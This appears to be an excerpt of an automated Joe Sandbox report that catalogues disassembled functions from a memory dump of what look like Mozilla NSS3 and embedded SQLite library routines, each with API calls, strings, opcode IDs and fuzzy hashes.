sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C7D30BB

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 18983bad3d825ab90670a6422491cc1f4843ea3ed0183e7597af29cb448b5ecb
Instruction ID: 5c18ee5b92bae6451606017c007ad35a4dfeed15756315ea4e1ffab71ee2f6ac
Opcode Fuzzy Hash: 18983bad3d825ab90670a6422491cc1f4843ea3ed0183e7597af29cb448b5ecb
Instruction Fuzzy Hash: 6041E271600606ABDB00CF25DA80A86B7F6FF44368F058A38EC1987B40E771F955CBD1

Function 6C755ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]ul), ref: 6C755F0A
TlsGetValue.KERNEL32 ref: 6C755F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C755F2F
PR_Unlock.NSS3(890008E8), ref: 6C755F55
PR_SetError.NSS3(00000000,00000000), ref: 6C755F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C755F7D

Part of subcall function 6C755220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C755F82,8B4274C0), ref: 6C755248
Part of subcall function 6C755220: EnterCriticalSection.KERNEL32(0F6C820D,?,6C755F82,8B4274C0), ref: 6C75525C
Part of subcall function 6C755220: PR_SetError.NSS3(00000000,00000000), ref: 6C75528E
Part of subcall function 6C755220: PR_Unlock.NSS3(0F6C81F1), ref: 6C755299
Part of subcall function 6C755220: free.MOZGLUE(00000000), ref: 6C7552A9

Strings

q]ul, xrefs: 6C755EDB, 6C755F09

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]ul
API String ID: 3150690610-2163148230
Opcode ID: eb90d68fc71f8b41824658f38db25ec033cba8c4b9bb4f6dce17e0a185c9a8c1
Instruction ID: 8b3ea66b594293e658be3177600925b5f13a5bb4627b8f6f13eb00c1c0109034
Opcode Fuzzy Hash: eb90d68fc71f8b41824658f38db25ec033cba8c4b9bb4f6dce17e0a185c9a8c1
Instruction Fuzzy Hash: 8021F6B1D002059FDB50AF68ED49AEEB7F4EF09318F544039E80AA7741EB32A954CBD1

Function 6C718CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C72124D,00000001), ref: 6C718D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C72124D,00000001), ref: 6C718D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C72124D,00000001), ref: 6C718D73
PR_Unlock.NSS3(?,?,?,?,?,6C72124D,00000001), ref: 6C718D8C

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

PR_Unlock.NSS3(?,?,?,?,?,6C72124D,00000001), ref: 6C718DBA

Strings

KRAM, xrefs: 6C718CF9
KRAM, xrefs: 6C718D3E

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: baedbfb9f59fb870d91f60256db5a9de3a29d61986a1b8de68181c2ff33c5ac2
Instruction ID: def6ad55f5b6a3b37e1a3d91c8c216feb3e2775a3e99c10972b2f704448e6601
Opcode Fuzzy Hash: baedbfb9f59fb870d91f60256db5a9de3a29d61986a1b8de68181c2ff33c5ac2
Instruction Fuzzy Hash: AD2191B5A187018FCB40EF78C68655AB7F0FF59318F1A897AD89887B01DB34D842CB91

Function 6C73ACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C73ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C73AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C73AD23

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C73AD39

Strings

C_MessageDecryptFinal, xrefs: 6C73ACE1
hSession = 0x%x, xrefs: 6C73ACFE, 6C73AD0E
(CK_INVALID_HANDLE), xrefs: 6C73AD1C

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: b058526410a79af40a8d08daf4cde5a8436a1055c74bcb6f2f9dba70f44ca2c4
Instruction ID: ba91096ebb8710047ad13aa67af530538cb319d778f51fedbfbfba61c3937249
Opcode Fuzzy Hash: b058526410a79af40a8d08daf4cde5a8436a1055c74bcb6f2f9dba70f44ca2c4
Instruction Fuzzy Hash: 5A2108306011249FDB219BA5DE4EB7A33B5AB4235EF442435E40D9BB02DB389848C7D6

Function 6C810ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C810EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C810EFA

Part of subcall function 6C6FAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C6FAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C810ED9, 6C810EE5, 6C810F06, 6C810F0B
Aborting, xrefs: 6C810EB3

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 3abeab728d4af231d87d1429128148ee1f17e7292b85645a63158eabcf4082da
Instruction ID: 01696fc1f25c225b3055f9426565fbe6e4d81b1b3a22b709c3c169f51a17e105
Opcode Fuzzy Hash: 3abeab728d4af231d87d1429128148ee1f17e7292b85645a63158eabcf4082da
Instruction Fuzzy Hash: A501ADB5900108ABDF21AF64DC49C9B3F6DEF46268B404424FD0987A02D775E920DAE2

Function 6C7F1C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=ol,?,?,6C6F4E1D), ref: 6C7F1C8A
sqlite3_free.NSS3(00000000), ref: 6C7F1CB6

Strings

a generated column, xrefs: 6C7F1C6C
w=ol, xrefs: 6C7F1C44
a CHECK constraint, xrefs: 6C7F1C76, 6C7F1C81
non-deterministic use of %s() in %s, xrefs: 6C7F1C85
an index, xrefs: 6C7F1C67

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=ol
API String ID: 1840970956-164381813
Opcode ID: 9eb7deb08cba97272d51b277239de5fba39c45f640ac4ded50bf9a7e513329c0
Instruction ID: 5c3fe82d884508c857933dbe296ae6098b294b3e78a8c297cc2df026ba5d5c98
Opcode Fuzzy Hash: 9eb7deb08cba97272d51b277239de5fba39c45f640ac4ded50bf9a7e513329c0
Instruction Fuzzy Hash: 750164B1A001009BD710AA68D8129B137E5EF8234CB00087DE9498BB02EB22E85BC395

Function 6C7D4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C7D4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7D4DE0

Strings

API call with %s database connection pointer, xrefs: 6C7D4DBD
invalid, xrefs: 6C7D4DB8
%s at line %d of [%.10s], xrefs: 6C7D4DDA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7D4DCB
misuse, xrefs: 6C7D4DD5

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 335e5ae5a6ed0ff5de9838da21168db2d39ea575ecd07c14a7ff553b6df72153
Instruction ID: 173aa99e844b218bcc4ddb4056221ac632ba8fc0a300d233653fa67406181ed0
Opcode Fuzzy Hash: 335e5ae5a6ed0ff5de9838da21168db2d39ea575ecd07c14a7ff553b6df72153
Instruction Fuzzy Hash: 0AF0F022A145782ADA105A54CF13F8233554F22318F072DB0EE087BB92D215A850A3C4

Function 6C7D4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C7D4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7D4E4D

Strings

API call with %s database connection pointer, xrefs: 6C7D4E2A
invalid, xrefs: 6C7D4E25
%s at line %d of [%.10s], xrefs: 6C7D4E47
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7D4E38
misuse, xrefs: 6C7D4E42

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 8a435e6fae31825ae79852763290c68bc253509aba9b0facaecbf31f4aced3e4
Instruction ID: b5f5c2f2d8a70600ab87453edc9b25e05d1410dbc2d1b21d170be9b7c46e4d0e
Opcode Fuzzy Hash: 8a435e6fae31825ae79852763290c68bc253509aba9b0facaecbf31f4aced3e4
Instruction Fuzzy Hash: 2DF0E211E449393BEA2012A5DF11F8337AD4B13329F0BA9F1EE0877F92D205A86062E5

Function 6C709FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C70A086
EnterCriticalSection.KERNEL32(?), ref: 6C70A09B
PR_Unlock.NSS3(?), ref: 6C70A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C70A0E9
TlsGetValue.KERNEL32 ref: 6C70A11B
EnterCriticalSection.KERNEL32(?), ref: 6C70A12F
PR_Unlock.NSS3(?), ref: 6C70A148

Part of subcall function 6C721A40: PR_Now.NSS3(?,00000000,6C7028AD,00000000,?,6C71F09A,00000000,6C7028AD,6C7093B0,?,6C7093B0,6C7028AD,00000000,?,00000000), ref: 6C721A65

Part of subcall function 6C721940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6C724126,?), ref: 6C721966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C70A1A3

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 3e585eca17fb9dceb2725a509c1faee5e0a178775393009539ef637304deff13
Instruction ID: 8c8b4c7353877caf4bfa96150553455776b62d614b4543132c81ffb19f7f1e7d
Opcode Fuzzy Hash: 3e585eca17fb9dceb2725a509c1faee5e0a178775393009539ef637304deff13
Instruction Fuzzy Hash: 9751E4F1B002059BEB109F29DE48AAB77F9AF86368F154139DC1997B02FB31D845C791

Function 6C740C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C741444,?,00000001,?,00000000,00000000,?,?,6C741444,?,?,00000000,?,?), ref: 6C740CB3

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C741444,?,00000001,?,00000000,00000000,?,?,6C741444,?), ref: 6C740DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C741444,?,00000001,?,00000000,00000000,?,?,6C741444,?), ref: 6C740DEC

Part of subcall function 6C760F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C702AF5,?,?,?,?,?,6C700A1B,00000000), ref: 6C760F1A
Part of subcall function 6C760F10: malloc.MOZGLUE(00000001), ref: 6C760F30
Part of subcall function 6C760F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C760F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C741444,?,00000001,?,00000000,00000000,?), ref: 6C740DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C741444,?,00000001,?,00000000), ref: 6C740E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C741444,?,00000001,?,00000000,00000000,?), ref: 6C740E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C741444,?,00000001,?,00000000,00000000,?,?,6C741444,?,?,00000000), ref: 6C740E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C741444,?,00000001,?,00000000,00000000,?), ref: 6C740E79

Part of subcall function 6C751560: TlsGetValue.KERNEL32(00000000,?,6C720844,?), ref: 6C75157A
Part of subcall function 6C751560: EnterCriticalSection.KERNEL32(?,?,?,6C720844,?), ref: 6C75158F
Part of subcall function 6C751560: PR_Unlock.NSS3(?,?,?,?,6C720844,?), ref: 6C7515B2

Part of subcall function 6C71B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C721397,00000000,?,6C71CF93,5B5F5EC0,00000000,?,6C721397,?), ref: 6C71B1CB
Part of subcall function 6C71B1A0: free.MOZGLUE(5B5F5EC0,?,6C71CF93,5B5F5EC0,00000000,?,6C721397,?), ref: 6C71B1D2

Part of subcall function 6C7189E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C7188AE,-00000008), ref: 6C718A04
Part of subcall function 6C7189E0: EnterCriticalSection.KERNEL32(?), ref: 6C718A15
Part of subcall function 6C7189E0: memset.VCRUNTIME140(6C7188AE,00000000,00000132), ref: 6C718A27
Part of subcall function 6C7189E0: PR_Unlock.NSS3(?), ref: 6C718A35

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 4ce8865620eceaff0b5ebdbfb91dfbfa58f55960e494db4b2f95abdd7ec1dda0
Instruction ID: afb3b636b3bc1fceb29a5759a8868f894ed0ead2486b5534c0fe9a73a05b807c
Opcode Fuzzy Hash: 4ce8865620eceaff0b5ebdbfb91dfbfa58f55960e494db4b2f95abdd7ec1dda0
Instruction Fuzzy Hash: 5651D7F6D002105FEB00AF64DE89EAB37A8AF5521CF554474EC0597B02FB35ED1986A2

Function 6C6F6E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C6F6ED8
sqlite3_value_text.NSS3(?,?), ref: 6C6F6EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C6F6FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C6F6FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C6F6FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C6F7010
sqlite3_value_blob.NSS3(?,?), ref: 6C6F701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C6F7052

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: c1d1f2148ba4a27345a3d394b9a28ba7cf731c9d9c00df6c92d1e34a04b26439
Instruction ID: cdac4996a036c3a19ea74bd93bb09e72bb56cf3516e1cd0f73992ec3724dc722
Opcode Fuzzy Hash: c1d1f2148ba4a27345a3d394b9a28ba7cf731c9d9c00df6c92d1e34a04b26439
Instruction Fuzzy Hash: 1A619FB1E152068BEB00CB64C9406EEB7B3AF45318F284165D425ABB51E732DD17CB99

Function 6C768F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C767313), ref: 6C768FBB

Part of subcall function 6C7607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C708298,?,?,?,6C6FFCE5,?), ref: 6C7607BF
Part of subcall function 6C7607B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7607E6
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C76081B
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C760825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C767313), ref: 6C769012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C767313), ref: 6C76903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C767313), ref: 6C76909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C767313), ref: 6C7690DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C767313), ref: 6C7690F1

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C767313), ref: 6C76906B

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C767313), ref: 6C769128

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 275c215812ea02eef4ae776730a60c93ca998f6903bbef1dcbf316d29599acb0
